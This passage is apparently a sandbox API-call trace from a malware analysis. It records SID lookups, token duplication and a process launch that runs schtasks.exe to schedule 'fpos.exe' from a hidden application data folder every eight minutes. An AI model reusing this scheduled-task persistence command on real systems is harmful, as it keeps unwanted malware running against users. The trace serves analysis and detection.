(_Block=0xef020) [0085.012] free (_Block=0xeef60) [0085.012] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0085.012] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0085.012] malloc (_Size=0x18) returned 0xeef60 [0085.012] malloc (_Size=0x18) returned 0xef020 [0085.012] SysStringLen (param_1="S-1-5-21") returned 0x8 [0085.012] SysStringLen (param_1="-") returned 0x1 [0085.012] memcpy (in: _Dst=0x381268, _Src=0x3810b8, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0085.012] memcpy (in: _Dst=0x381278, _Src=0x3811d8, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0085.012] free (_Block=0xef040) [0085.012] free (_Block=0xeef60) [0085.013] malloc (_Size=0x18) returned 0xeef60 [0085.013] malloc (_Size=0x18) returned 0xef040 [0085.013] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0085.013] SysStringLen (param_1="4219442223") returned 0xa [0085.013] memcpy (in: _Dst=0x338368, _Src=0x381268, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0085.013] memcpy (in: _Dst=0x33837a, _Src=0x3810b8, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0085.013] free (_Block=0xef020) [0085.013] free (_Block=0xeef60) [0085.013] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0085.013] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0085.013] malloc (_Size=0x18) returned 0xeef60 [0085.013] malloc (_Size=0x18) returned 0xef020 [0085.013] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0085.013] SysStringLen (param_1="-") returned 0x1 [0085.013] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0085.013] memcpy (in: _Dst=0x3382ee, _Src=0x381268, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0085.013] free (_Block=0xef040) [0085.013] free (_Block=0xeef60) [0085.013] malloc (_Size=0x18) returned 0xeef60 [0085.014] malloc (_Size=0x18) returned 0xef040 [0085.014] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0085.014] SysStringLen (param_1="4223814209") returned 0xa [0085.014] memcpy (in: _Dst=0x34dc88, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0085.014] memcpy (in: _Dst=0x34dcb0, _Src=0x381268, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0085.014] free (_Block=0xef020) [0085.014] free (_Block=0xeef60) [0085.014] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0085.014] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0085.014] malloc (_Size=0x18) returned 0xeef60 [0085.014] malloc (_Size=0x18) returned 0xef020 [0085.014] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0085.014] SysStringLen (param_1="-") returned 0x1 [0085.014] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0085.014] memcpy (in: _Dst=0x34d994, _Src=0x381268, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0085.014] free (_Block=0xef040) [0085.014] free (_Block=0xeef60) [0085.014] malloc (_Size=0x18) returned 0xeef60 [0085.014] malloc (_Size=0x18) returned 0xef040 [0085.015] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0085.015] SysStringLen (param_1="3835049652") returned 0xa [0085.015] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0085.015] memcpy (in: _Dst=0x34dcc6, _Src=0x381268, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0085.015] free (_Block=0xef020) [0085.015] free (_Block=0xeef60) [0085.015] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0085.015] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0085.015] malloc (_Size=0x18) returned 0xeef60 [0085.015] malloc (_Size=0x18) returned 0xef020 [0085.015] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0085.015] SysStringLen (param_1="-") returned 0x1 [0085.015] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0085.015] memcpy (in: _Dst=0x34d9aa, _Src=0x381268, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0085.015] free (_Block=0xef040) [0085.015] free (_Block=0xeef60) [0085.015] malloc (_Size=0x18) returned 0xeef60 [0085.015] malloc (_Size=0x18) returned 0xef040 [0085.015] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0085.016] SysStringLen (param_1="1000") returned 0x4 [0085.016] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0085.016] memcpy (in: _Dst=0x34dcdc, _Src=0x381268, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0085.016] free (_Block=0xef020) [0085.016] free (_Block=0xeef60) [0085.016] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0085.016] malloc (_Size=0x5e) returned 0xf0800 [0085.016] free (_Block=0xef040) [0085.016] malloc (_Size=0x18) returned 0xef040 [0085.017] free (_Block=0xf0800) [0085.017] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0085.018] GetLastError () returned 0x7a [0085.018] malloc (_Size=0x14) returned 0xeef60 [0085.018] malloc (_Size=0x16) returned 0xef020 [0085.018] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0085.018] malloc (_Size=0x18) returned 0xeef00 [0085.018] malloc (_Size=0x18) returned 0xef0a0 [0085.018] free (_Block=0xeef60) [0085.019] free (_Block=0xef020) [0085.019] free (_Block=0xeff60) [0085.019] free (_Block=0xef0a0) [0085.019] free (_Block=0xeef00) [0085.019] free (_Block=0xef040) [0085.019] free (_Block=0xee240) [0085.020] malloc (_Size=0x48) returned 0xed2c0 [0085.020] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0085.065] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0085.065] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0085.065] malloc (_Size=0x18) returned 0xef040 [0085.065] CreateEnvironmentBlock () returned 0x1 [0085.071] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0085.071] malloc (_Size=0x18) returned 0xeef00 [0085.071] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 8 /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 8 /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0x72c, dwThreadId=0x73c)) returned 1 [0085.077] CloseHandle (hObject=0x2f8) returned 1 [0085.077] CloseHandle (hObject=0x2fc) returned 1 [0085.078] free (_Block=0xeef00) [0085.078] DestroyEnvironmentBlock () returned 0x1 [0085.078] malloc (_Size=0x48) returned 0xed270 [0085.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5bae78a0, dwHighDateTime=0x1d9eb0c)) [0085.078] SetEvent (hEvent=0x1f0) returned 1 [0085.078] CloseHandle (hObject=0x244) returned 1 [0085.078] CloseHandle (hObject=0x238) returned 1 [0085.300] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0085.300] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0085.300] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0085.724] SetLastError (dwErrCode=0x0) [0085.724] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0085.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0085.724] SetLastError (dwErrCode=0x0) [0085.724] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0085.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0085.724] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0085.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0085.724] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0085.724] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0085.726] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0085.727] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0085.727] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0085.727] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0085.727] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0085.728] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0085.728] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0085.733] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0085.733] GetCurrentThread () returned 0xfffffffffffffffe [0085.733] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x238) returned 1 [0085.733] malloc (_Size=0xd8) returned 0xf4740 [0085.733] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0085.734] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0085.734] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0085.734] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0085.734] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0085.734] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0085.735] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0085.735] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0085.735] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0085.735] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0085.735] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0085.735] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0085.736] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0085.736] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0085.736] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0085.736] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0085.736] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0085.737] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0085.737] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0085.737] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0085.737] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0085.737] malloc (_Size=0x18) returned 0xeef00 [0085.737] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0085.737] malloc (_Size=0x48) returned 0xed400 [0085.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5c127260, dwHighDateTime=0x1d9eb0c)) [0085.738] SetEvent (hEvent=0x1f0) returned 1 [0085.741] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0085.741] GetLastError () returned 0x7a [0085.741] malloc (_Size=0x2c) returned 0xee200 [0085.741] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0085.741] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0085.741] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0085.741] malloc (_Size=0x1c) returned 0xeff30 [0085.741] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0085.741] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0085.741] malloc (_Size=0x18) returned 0xef040 [0085.742] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0085.742] malloc (_Size=0x18) returned 0xef0a0 [0085.742] malloc (_Size=0x18) returned 0xef020 [0085.742] SysStringLen (param_1="S-1-") returned 0x4 [0085.742] SysStringLen (param_1="5") returned 0x1 [0085.742] memcpy (in: _Dst=0x381328, _Src=0x381208, _Size=0xa | out: _Dst=0x381328) returned 0x381328 [0085.742] memcpy (in: _Dst=0x381330, _Src=0x381238, _Size=0x4 | out: _Dst=0x381330) returned 0x381330 [0085.742] free (_Block=0xef040) [0085.742] free (_Block=0xef0a0) [0085.742] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0085.742] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0085.742] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0085.742] malloc (_Size=0x18) returned 0xef0a0 [0085.742] malloc (_Size=0x18) returned 0xef040 [0085.742] SysStringLen (param_1="S-1-5") returned 0x5 [0085.742] SysStringLen (param_1="-") returned 0x1 [0085.742] memcpy (in: _Dst=0x381238, _Src=0x381328, _Size=0xc | out: _Dst=0x381238) returned 0x381238 [0085.742] memcpy (in: _Dst=0x381242, _Src=0x381208, _Size=0x4 | out: _Dst=0x381242) returned 0x381242 [0085.743] free (_Block=0xef020) [0085.743] free (_Block=0xef0a0) [0085.743] malloc (_Size=0x18) returned 0xef0a0 [0085.743] malloc (_Size=0x18) returned 0xef020 [0085.743] SysStringLen (param_1="S-1-5-") returned 0x6 [0085.743] SysStringLen (param_1="21") returned 0x2 [0085.743] memcpy (in: _Dst=0x381208, _Src=0x381238, _Size=0xe | out: _Dst=0x381208) returned 0x381208 [0085.743] memcpy (in: _Dst=0x381214, _Src=0x381328, _Size=0x6 | out: _Dst=0x381214) returned 0x381214 [0085.743] free (_Block=0xef040) [0085.743] free (_Block=0xef0a0) [0085.743] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0085.743] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0085.743] malloc (_Size=0x18) returned 0xef0a0 [0085.743] malloc (_Size=0x18) returned 0xef040 [0085.743] SysStringLen (param_1="S-1-5-21") returned 0x8 [0085.743] SysStringLen (param_1="-") returned 0x1 [0085.743] memcpy (in: _Dst=0x381328, _Src=0x381208, _Size=0x12 | out: _Dst=0x381328) returned 0x381328 [0085.743] memcpy (in: _Dst=0x381338, _Src=0x381238, _Size=0x4 | out: _Dst=0x381338) returned 0x381338 [0085.744] free (_Block=0xef020) [0085.744] free (_Block=0xef0a0) [0085.744] malloc (_Size=0x18) returned 0xef0a0 [0085.744] malloc (_Size=0x18) returned 0xef020 [0085.744] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0085.744] SysStringLen (param_1="4219442223") returned 0xa [0085.744] memcpy (in: _Dst=0x337aa8, _Src=0x381328, _Size=0x14 | out: _Dst=0x337aa8) returned 0x337aa8 [0085.744] memcpy (in: _Dst=0x337aba, _Src=0x381208, _Size=0x16 | out: _Dst=0x337aba) returned 0x337aba [0085.744] free (_Block=0xef040) [0085.744] free (_Block=0xef0a0) [0085.744] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0085.744] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0085.744] malloc (_Size=0x18) returned 0xef0a0 [0085.744] malloc (_Size=0x18) returned 0xef040 [0085.744] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0085.744] SysStringLen (param_1="-") returned 0x1 [0085.744] memcpy (in: _Dst=0x337af8, _Src=0x337aa8, _Size=0x28 | out: _Dst=0x337af8) returned 0x337af8 [0085.744] memcpy (in: _Dst=0x337b1e, _Src=0x381328, _Size=0x4 | out: _Dst=0x337b1e) returned 0x337b1e [0085.745] free (_Block=0xef020) [0085.745] free (_Block=0xef0a0) [0085.745] malloc (_Size=0x18) returned 0xef0a0 [0085.745] malloc (_Size=0x18) returned 0xef020 [0085.745] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0085.745] SysStringLen (param_1="4223814209") returned 0xa [0085.745] memcpy (in: _Dst=0x34da68, _Src=0x337af8, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0085.745] memcpy (in: _Dst=0x34da90, _Src=0x381328, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0085.745] free (_Block=0xef040) [0085.745] free (_Block=0xef0a0) [0085.745] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0085.745] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0085.745] malloc (_Size=0x18) returned 0xef0a0 [0085.745] malloc (_Size=0x18) returned 0xef040 [0085.746] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0085.746] SysStringLen (param_1="-") returned 0x1 [0085.746] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0085.746] memcpy (in: _Dst=0x34ddd4, _Src=0x381328, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0085.746] free (_Block=0xef020) [0085.746] free (_Block=0xef0a0) [0085.746] malloc (_Size=0x18) returned 0xef0a0 [0085.746] malloc (_Size=0x18) returned 0xef020 [0085.746] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0085.746] SysStringLen (param_1="3835049652") returned 0xa [0085.746] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0085.746] memcpy (in: _Dst=0x34daa6, _Src=0x381328, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0085.746] free (_Block=0xef040) [0085.746] free (_Block=0xef0a0) [0085.746] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0085.746] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0085.746] malloc (_Size=0x18) returned 0xef0a0 [0085.747] malloc (_Size=0x18) returned 0xef040 [0085.747] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0085.747] SysStringLen (param_1="-") returned 0x1 [0085.747] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0085.747] memcpy (in: _Dst=0x34ddea, _Src=0x381328, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0085.747] free (_Block=0xef020) [0085.747] free (_Block=0xef0a0) [0085.747] malloc (_Size=0x18) returned 0xef0a0 [0085.747] malloc (_Size=0x18) returned 0xef020 [0085.747] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0085.747] SysStringLen (param_1="1000") returned 0x4 [0085.747] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0085.747] memcpy (in: _Dst=0x34dabc, _Src=0x381328, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0085.747] free (_Block=0xef040) [0085.747] free (_Block=0xef0a0) [0085.747] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0085.747] malloc (_Size=0x5e) returned 0xf0800 [0085.747] free (_Block=0xef020) [0085.747] malloc (_Size=0x18) returned 0xef020 [0085.748] free (_Block=0xf0800) [0085.748] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0085.749] GetLastError () returned 0x7a [0085.749] malloc (_Size=0x14) returned 0xef0a0 [0085.749] malloc (_Size=0x16) returned 0xef040 [0085.749] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebcca4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", 